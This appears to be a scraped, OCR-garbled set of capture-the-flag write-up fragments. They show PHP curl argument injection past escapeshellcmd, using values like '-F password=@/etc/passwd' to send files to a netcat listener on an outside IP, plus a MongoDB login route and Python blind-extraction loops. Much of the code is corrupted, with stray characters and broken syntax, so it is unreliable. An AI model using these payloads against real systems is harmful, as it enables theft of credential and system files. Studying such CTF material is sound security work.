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Srouter->new( 5 5

public function _ construct($url)

{
L

$this->command . escapeshellcmd($url);

public function exec()

I
1

exec($this->command, $output);

return $output;
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CURL
TEehttp://example.comAE

$url = 'http://example.com’;

system(escapeshellcmd('curl '.%url));

ZEEEJetc/passwdP§%§§Ukttp://example.com

$url = '-F password=@/etc/passwd http://example.com';

system(escapeshellemd('curl '.$url));

IREJLMSEIMMRZE, (AN T payload:

file_put_contents('passwords.txt', file_get_contents($_FILES['password'][ 'tmp_name']));
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ip F password=@/flag http:



root@iZbpl4tgce8absspjkxi3i1Z:~# nc -lvvp 39543
Listening on (family 0, port 39543)

Connection from port 39543 [tcp/*] accepted (family 2, sport 52394)

POST / HTTP/1.1

Host: 118.31.168.198:39543

User-Agent: curl/7.64.0

Accept: */*

Content-Length: 233

Content-Type: multipart/form-data; boundary=

6e9f41258bb37ae7
Content-Disposition: form-data; name="password"; filename="flag"
Content-Type: application/octet-stream

CHTB{f1le_r3trieval_4s_a s3rvice}
6e9f41258bb37ae7--
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mongo heros --eval
mongo heros --eval
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router.post( , (req, res) {
let { username, password } req.body;

if (username password) {
return User.find({
username,
password
)
.then((user) {
if (user.length 1) {

6e9741258bb37ae7
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return res.json({logged: 1, message: ${user[@].username} 1)

} else {

return res.json({logged: @, message:
}
)

.catch(() res.json({ message:

}

return res.json({ message:

1)
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import requests

r=requests.post(url=url,data=data%(flag+j),headers=headers)
if in r.text:
flag+=j
print(flag)
if j r
exit()

break
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requests

r=requests.post(url=url,headers=headers,data=datal’%(i,j))

if in r.text:
flag Jj

print(flag)
break
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